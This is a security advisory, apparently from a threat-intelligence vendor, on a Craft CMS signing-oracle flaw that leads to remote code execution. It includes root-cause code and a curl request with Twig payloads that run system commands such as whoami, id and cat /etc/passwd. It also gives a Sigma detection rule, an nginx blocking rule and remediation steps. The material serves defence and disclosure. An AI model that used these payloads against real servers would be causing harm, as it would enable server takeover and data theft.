Skip to content

CVE-2026-124430: Craft CMS Remote Code Execution via app/render-elements Signing Oracle

Density:
C-Level Executive Briefing CVE-2026-124430 CRITICAL SCORE 88/100

A critical vulnerability chain (CVE-2026-124430) in Craft CMS versions 5.10.0 before 5.11.2 permits authenticated low-privileged control panel users to achieve unconstrained remote code execution on the underlying hosting server. Craft CMS is a prominent enterprise content management system and headless publishing platform powering digital experiences across global enterprises. A design flaw in the internal 'app/render-elements' controller endpoint allows callers to manipulate UI element configurations (Cp::elementChipHtml()) that are signed with the application's secret HMAC key. By using this endpoint as a cryptographic signing oracle, an attacker generates valid signatures for arbitrary Twig object template strings. Submitting the signed payload to template-rendering parameters bypasses integrity checks and triggers unsandboxed evaluation via renderObjectTemplate(), granting direct access to PHP execution callables (exec, system, passthru). VulnCheck published an advisory confirming weaponization on November 9, 2026. Hermes rates this threat at HTS 88 (CRITICAL) and HASS 68 (HIGH).

HERMES

HERMES THREAT SCORE & ENTERPRISE WEB CMS INTEGRITY EVALUATION

Target: Craft CMS Controller Infrastructure & Twig Object Template Engine
Confidence: 98%
88 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 18 / 20
Threat Activity 17 / 20
Weaponization 19 / 20
Exposure 17 / 20
Prevalence 18 / 20
Impact 19 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 18 / 20
โš–๏ธ Divergence & Operational Rationale

CVSS v3.1 rates this flaw at 8.8 (High) due to the authenticated role requirement (PR:L). Hermes elevates the risk to HTS 88 (CRITICAL). In enterprise deployments, low-privileged author, translator, or marketing accounts are frequently compromised through credential stuffing, phishing, or public registration portals. Once inside the control panel, this signing oracle provides a reliable, deterministic weaponization chain directly converting low-privilege access into full web server and database takeover.


Craft CMS is a modular enterprise content management system built on PHP and the Yii framework, renowned for flexible content modeling, custom field layouts, and headless API capabilities. It relies heavily on the Twig templating engine for presentation logic.

Disclosed in November 2026, CVE-2026-124430 is a sophisticated template injection and cryptographic signing oracle vulnerability affecting Craft CMS versions 5.10.0 through 5.11.1. By abusing the internal app/render-elements controller action, authenticated users with minimal control panel access can coerce the server into signing an arbitrary Twig template string with the applicationโ€™s private HMAC key. This signed token can then be passed to parameter redirection handlers that evaluate trusted templates, enabling unsandboxed code execution under the PHP worker process (www-data). On November 9, 2026, VulnCheck published an in-depth weaponization advisory demonstrating end-to-end command execution.


2. Root Cause Analysis & Technical Mechanics (CWE-1336 / CWE-347)

Section titled โ€œ2. Root Cause Analysis & Technical Mechanics (CWE-1336 / CWE-347)โ€

The vulnerability stems from the interplay between dynamic element chip rendering in the control panel and Craftโ€™s cryptographic parameter protection system (craftcms\base\Security::hashData()).

In Craft CMS 5.10.x, the endpoint app/render-elements was introduced to render HTML badges and chips representing content elements dynamically:

// In src/controllers/AppController.php
public function actionRenderElements(): Response
{
$this->requireCpRequest();
$elementConfigs = $this->request->getRequiredBodyParam('elements');
$html = [];
foreach ($elementConfigs as $config) {
// User-supplied config is passed to chip generation:
$html[] = Cp::elementChipHtml($config);
}
return $this->asJson(['html' => $html]);
}

Within src/helpers/Cp.php, elementChipHtml() packages the chipโ€™s metadata into a serialized state string. To prevent tampering across AJAX requests, Craft computes an HMAC-SHA256 signature over this string using the applicationโ€™s private security key:

// In src/helpers/Cp.php
$signedData = Craft::$app->getSecurity()->hashData(serialize($chipConfig));

Because low-privileged control panel users can supply arbitrary nested values within the elements request payload, an attacker controls the data being hashed and receives the signed string directly in the JSON response, effectively converting the endpoint into a chosen-plaintext signing oracle.

Craft CMS protects against Server-Side Template Injection (SSTI) by validating HMAC signatures before passing dynamic strings to renderObjectTemplate(). An attacker leverages their oracle-generated signature to present a malicious Twig payload (such as {{['id']|map('system')}} or {{['cat /etc/passwd']|filter('system')}}) to an action accepting signed redirect or return templates:

  1. Craft calls Craft::$app->getSecurity()->validateData($signedPayload).
  2. Because the signature was legitimately generated by the server via the oracle, validation passes.
  3. The raw string is forwarded to Craft::$app->getView()->renderObjectTemplate($template, $object).
  4. Twig processes the string outside of the sandbox, resolving native PHP callback functions and executing operating system commands.

sequenceDiagram
autonumber
actor Attacker as Authenticated Low-Priv User
participant AppController as AppController (app/render-elements)
participant Security as Security::hashData() [HMAC-SHA256]
participant View as View::renderObjectTemplate()
participant OS as Underlying OS / PHP Worker
Attacker->>AppController: POST /actions/app/render-elements<br/>Payload: {"elements": [{"template": "{{['id']|map('system')}}"}]}
AppController->>Security: hashData(serialized_payload, APP_SECRET_KEY)
Security-->>AppController: Valid signed HMAC token
AppController-->>Attacker: JSON response containing signed token
Attacker->>AppController: GET /admin/dashboard?returnUrl=<signed_token>
AppController->>Security: validateData(signed_token) -> VALID!
AppController->>View: renderObjectTemplate(untrusted_payload)
View->>OS: Invoke PHP system("id") callable
OS-->>Attacker: Execution output: uid=33(www-data) gid=33(www-data)
  1. Query Signing Oracle:
    Terminal window
    curl -s -X POST "https://cms.target.com/actions/app/render-elements" \
    -H "Cookie: CRAFT_CSRF_TOKEN=...; CraftSessionId=..." \
    -H "Content-Type: application/json" \
    -d '{"elements": [{"chipHtml": "{{[\"whoami\"]|map(\"system\")}}"}]}'
  2. Extract Signed Token: The attacker parses the returned JSON payload and extracts the base64-encoded signed parameter.
  3. Trigger Template Execution: The signed parameter is submitted to a controller accepting signed view templates, executing the payload and returning command output.

title: Craft CMS Signing Oracle Template Injection Attempt
id: 3d9178bf-5012-4219-9014-871239581024
status: experimental
description: Detects HTTP requests to Craft CMS app/render-elements containing Twig template syntax or anomalous returnUrl evaluations.
author: Hermes Codex Cyber Defense Team
date: 2026-11-10
references:
- https://vulncheck.com/advisories/craft-cms-5.10.0-before-5.11.2-rce-via-app-render-elements-signing-oracle
- https://nvd.nist.gov/vuln/detail/CVE-2026-124430
logsource:
category: webserver
detection:
selection_oracle:
cs-method: 'POST'
cs-uri-stem|contains: '/actions/app/render-elements'
c-body|contains:
- '{{'
- '{%'
- '|map('
- '|filter('
- 'system'
- 'exec'
- 'passthru'
condition: selection_oracle
fields:
- c-ip
- cs-username
- cs-method
- cs-uri-stem
falsepositives:
- Legitimate custom plugin developers testing dynamic chip templates in non-production environments.
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.execution
- attack.t1059.006

  1. Immediate Upgrade to Craft CMS 5.11.2 or Later: Deploy Craft CMS 5.11.2 immediately. This release refactors actionRenderElements(), forbids untrusted template configurations from entering signing pipelines, and enforces strict sandboxed Twig contexts.

    Terminal window
    composer require craftcms/cms:5.11.2 --update-with-dependencies
    ./craft migrate/all
  2. Temporary Mitigation via Middleware / WAF Rule: If updating cannot be performed immediately, block POST requests containing Twig delimiters ({{, {%) directed at /actions/app/render-elements:

    # Nginx mitigation block
    location ~* /actions/app/render-elements {
    if ($request_body ~* "(\{\{|\{%|\|map|\|filter)") {
    return 403;
    }
    try_files $uri $uri/ /index.php?$query_string;
    }
  3. Application Secret Rotation: If compromise is suspected, immediately rotate the CRAFT_SECURITY_KEY in the .env configuration file to invalidate all previously forged HMAC tokens:

    Terminal window
    ./craft setup/security-key
  4. Disable Sensitive PHP Functions: Harden the php.ini configuration for PHP-FPM by disabling process execution callables:

    disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source